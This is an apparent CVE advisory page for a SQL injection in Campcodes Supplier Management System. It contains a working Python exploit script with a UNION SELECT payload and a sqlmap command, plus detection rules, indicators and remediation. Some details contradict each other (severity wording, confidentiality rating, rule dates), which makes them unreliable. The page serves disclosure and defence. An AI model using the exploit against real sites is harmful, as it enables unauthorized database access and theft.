☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-15207

CVE-2025-15207 SQL Injection in Campcodes
📅 PUBLISHED: 2025-12-29 22:02 UTC 🔄 UPDATED: 2026-10-13 23:20 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.51%
👁️
0.51% probability
12.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: Supplier Management System
CVSS VECTOR BREAKDOWN 7.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-15207 is a critical SQL injection vulnerability in Campcodes Supplier Management System 1.0. The flaw resides in the /admin/view_products.php endpoint, where the chkId[] parameter is directly concatenated into SQL queries without sanitization. An unauthenticated attacker can exploit this remotely to extract sensitive data, modify database contents, or potentially achieve code execution via stacked queries. The vulnerability has been publicly disclosed with proof-of-concept code, increasing the risk of widespread exploitation. No official patch exists, and the vendor has not responded to disclosure attempts.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications apply.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full database read access.
  • Integrity (I): Low (L) – Limited data modification possible.
  • Availability (A): Low (L) – Potential for denial of service via resource exhaustion.

Threat Level: High. The combination of remote exploitability, no authentication, and public exploit code makes this a priority for remediation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the chkId[] parameter of /admin/view_products.php. The application likely constructs a query similar to:

SELECT * FROM products WHERE id IN ($_POST['chkId'])

Without proper parameterization or escaping, an attacker can inject arbitrary SQL. The chkId[] parameter is an array, but the application may implode it into a comma-separated string, allowing injection via a single element.

Root Cause: Lack of prepared statements or input validation. The application uses mysqli_query or similar with direct string concatenation.

Attack Vector: HTTP POST request to /admin/view_products.php with a crafted chkId[] parameter.

Impact: Full database compromise, including user credentials, product data, and administrative access.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical reconstruction):

<?php
// /admin/view_products.php
$ids = $_POST['chkId'];
$id_list = implode(",", $ids);
$query = "SELECT * FROM products WHERE id IN ($id_list)";
$result = mysqli_query($conn, $query);
?>

Patched Code (recommended):

<?php
// /admin/view_products.php
$ids = $_POST['chkId'];
$placeholders = implode(",", array_fill(0, count($ids), "?"));
$query = "SELECT * FROM products WHERE id IN ($placeholders)";
$stmt = mysqli_prepare($conn, $query);
$types = str_repeat("i", count($ids));
mysqli_stmt_bind_param($stmt, $types, ...$ids);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

Exploitation & Lab Setup

Red Team

Prerequisites: Python 3, requests library, target URL.

Exploit Script:

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost/supplier_management"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -"
data = {"chkId[]": payload}

try:
    r = requests.post(f"{target}/admin/view_products.php", data=data, timeout=10)
    if "error" not in r.text.lower():
        print("[+] SQL injection successful. Response snippet:")
        print(r.text[:500])
    else:
        print("[-] Injection failed or blocked.")
except Exception as e:
    print(f"[-] Error: {e}")

Usage: python3 exploit.py http://target.com/supplier_management

Advanced Exploitation: Use sqlmap for automated database enumeration:

sqlmap -u "http://target.com/admin/view_products.php" --data="chkId[]=1" --batch --dbs

Blue Team

Detection: Monitor for anomalous POST requests to /admin/view_products.php with unusual chkId[] values (e.g., containing SQL keywords, UNION, SELECT, etc.).

Honeypot: Deploy a fake endpoint that logs all POST data to a secure syslog server.

Lab Setup:

  1. Download Campcodes Supplier Management System 1.0 from official source.
  2. Install on a local LAMP stack (PHP 7.4, MySQL 5.7).
  3. Configure database and import sample data.
  4. Test exploit against the vulnerable instance.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /admin/view_products.php with chkId[] containing SQL keywords (UNION, SELECT, OR, AND, --, #).
  • Logs: Database error logs showing syntax errors near chkId values.
  • File: Unexpected files in web root (e.g., shells, backdoors) if stacked queries enabled.
  • Database: New users, modified admin credentials, or unusual data in users table.

Example Suricata Rule (see Detection Engineering):

Detection Engineering

YARA Rule

rule CVE_2025_15207_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-15207"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15207"
    strings:
        $s1 = "chkId[]" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR 1=1" nocase
        $s5 = "admin/view_products.php" nocase
    condition:
        all of ($s1, $s5) and 1 of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-15207 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Campcodes Supplier Management System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/view_products.php'
        cs-uri-query|contains: 'chkId[]'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of product IDs containing SQL keywords (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15207 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/view_products.php"; http_uri;
    content:"chkId[]"; http_client_body;
    pcre:"/(UNION|SELECT|OR\s+1=1|--|#)/Pi";
    sid:10000001;
    rev:1;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2025-15207;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the affected system from the internet if possible.
  2. Apply virtual patching via WAF rules to block SQL injection patterns in chkId[].
  3. Disable the /admin/view_products.php endpoint if not essential.

Long-term Fix:

  • Replace all SQL queries with prepared statements or parameterized queries.
  • Implement input validation: ensure chkId[] values are integers only.
  • Upgrade to a supported vendor solution or migrate to a secure alternative.

Detection:

  • Deploy the provided YARA, Sigma, and Suricata rules.
  • Enable detailed logging for all POST requests to admin endpoints.
  • Monitor for database anomalies (e.g., unexpected queries, new users).

No official patch is available. The vendor (Campcodes) has not responded. Consider replacing the software entirely.


Valters IT – Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-15207/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.